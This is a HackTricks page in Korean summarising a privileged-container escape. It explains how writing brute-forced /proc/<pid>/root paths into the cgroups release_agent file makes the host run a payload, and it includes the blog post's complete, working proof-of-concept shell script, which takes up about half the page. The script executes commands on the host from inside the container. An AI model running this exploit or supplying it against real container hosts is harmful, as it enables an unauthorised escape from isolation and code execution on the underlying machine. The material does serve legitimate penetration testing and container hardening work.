Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html ๋ธ”๋กœ๊ทธ ํฌํŠธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์ด๊ฒƒ์€ ์š”์•ฝ์ž…๋‹ˆ๋‹ค:

์ด ๊ธฐ์ˆ ์€ ์ปจํ…Œ์ด๋„ˆ ๋‚ด์—์„œ ํ˜ธ์ŠคํŠธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•˜๋ฉฐ, Kata Containers ๋˜๋Š” ํŠน์ • devicemapper ์„ค์ •๊ณผ ๊ฐ™์ด ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ฒฝ๋กœ๋ฅผ ์ˆจ๊ธฐ๋Š” ์Šคํ† ๋ฆฌ์ง€ ๋“œ๋ผ์ด๋ฒ„ ๊ตฌ์„ฑ์œผ๋กœ ์ธํ•œ ๋ฌธ์ œ๋ฅผ ๊ทน๋ณตํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์š” ๋‹จ๊ณ„:

  1. ํ”„๋กœ์„ธ์Šค ID (PID) ์ฐพ๊ธฐ: Linux ๊ฐ€์ƒ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ /proc/<pid>/root ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ ๋‚ด์˜ ๋ชจ๋“  ํŒŒ์ผ์— ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ๊ธฐ์ค€์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํ˜ธ์ŠคํŠธ์—์„œ ์ปจํ…Œ์ด๋„ˆ์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ฒฝ๋กœ๋ฅผ ์•Œ ํ•„์š”๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.
  2. PID ๋ธŒ๋ฃจํŠธ ํฌ์Šค: ํ˜ธ์ŠคํŠธ์˜ PID๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ธฐ ์œ„ํ•ด ๋ธŒ๋ฃจํŠธ ํฌ์Šค ์ ‘๊ทผ ๋ฐฉ์‹์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” /proc/<pid>/root/<file>์—์„œ ํŠน์ • ํŒŒ์ผ์˜ ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ํ™•์ธํ•จ์œผ๋กœ์จ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ์ด ๋ฐœ๊ฒฌ๋˜๋ฉด ํ•ด๋‹น PID๊ฐ€ ๋Œ€์ƒ ์ปจํ…Œ์ด๋„ˆ ๋‚ด์—์„œ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์— ์†ํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  3. ์‹คํ–‰ ํŠธ๋ฆฌ๊ฑฐ: ์ถ”์ธกํ•œ PID ๊ฒฝ๋กœ๊ฐ€ cgroups release_agent ํŒŒ์ผ์— ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค. ์ด ์ž‘์—…์€ release_agent์˜ ์‹คํ–‰์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‹จ๊ณ„์˜ ์„ฑ๊ณต์€ ์ถœ๋ ฅ ํŒŒ์ผ์˜ ์ƒ์„ฑ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์—ฌ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ ๊ณผ์ •

์ต์Šคํ”Œ๋กœ์ž‡ ๊ณผ์ •์€ ์ปจํ…Œ์ด๋„ˆ ๋‚ด์—์„œ ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค์˜ ์˜ฌ๋ฐ”๋ฅธ PID๋ฅผ ์ถ”์ธกํ•˜์—ฌ ํ˜ธ์ŠคํŠธ์—์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋Š” ๋ณด๋‹ค ์ž์„ธํ•œ ์ผ๋ จ์˜ ์ž‘์—…์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๊ทธ ์ „๊ฐœ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค:

  1. ํ™˜๊ฒฝ ์ดˆ๊ธฐํ™”: ํ˜ธ์ŠคํŠธ์—์„œ ํŽ˜์ด๋กœ๋“œ ์Šคํฌ๋ฆฝํŠธ(payload.sh)๊ฐ€ ์ค€๋น„๋˜๊ณ , cgroup ์กฐ์ž‘์„ ์œ„ํ•œ ๊ณ ์œ ํ•œ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.
  2. ํŽ˜์ด๋กœ๋“œ ์ค€๋น„: ํ˜ธ์ŠคํŠธ์—์„œ ์‹คํ–‰๋  ๋ช…๋ น์„ ํฌํ•จํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ž‘์„ฑ๋˜๊ณ  ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๊ฒŒ ์„ค์ •๋ฉ๋‹ˆ๋‹ค.
  3. Cgroup ์„ค์ •: cgroup์ด ๋งˆ์šดํŠธ๋˜๊ณ  ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. notify_on_release ํ”Œ๋ž˜๊ทธ๊ฐ€ ์„ค์ •๋˜์–ด cgroup์ด ํ•ด์ œ๋  ๋•Œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  4. PID ๋ธŒ๋ฃจํŠธ ํฌ์Šค: ์ž ์žฌ์ ์ธ PID๋ฅผ ๋ฐ˜๋ณตํ•˜์—ฌ ์ถ”์ธกํ•œ ๊ฐ PID๋ฅผ release_agent ํŒŒ์ผ์— ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํŽ˜์ด๋กœ๋“œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ release_agent๋กœ ์„ค์ •ํ•˜๋Š” ํšจ๊ณผ๋ฅผ ๋ƒ…๋‹ˆ๋‹ค.
  5. ์‹คํ–‰ ํŠธ๋ฆฌ๊ฑฐ ๋ฐ ํ™•์ธ: ๊ฐ PID์— ๋Œ€ํ•ด cgroup์˜ cgroup.procs์— ๊ธฐ๋กํ•˜์—ฌ PID๊ฐ€ ์˜ฌ๋ฐ”๋ฅธ ๊ฒฝ์šฐ release_agent์˜ ์‹คํ–‰์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์ด ๋ฐœ๊ฒฌ๋  ๋•Œ๊นŒ์ง€ ๋ฃจํ”„๊ฐ€ ๊ณ„์†๋ฉ๋‹ˆ๋‹ค, ์ด๋Š” ์„ฑ๊ณต์ ์ธ ์‹คํ–‰์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์˜ PoC:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ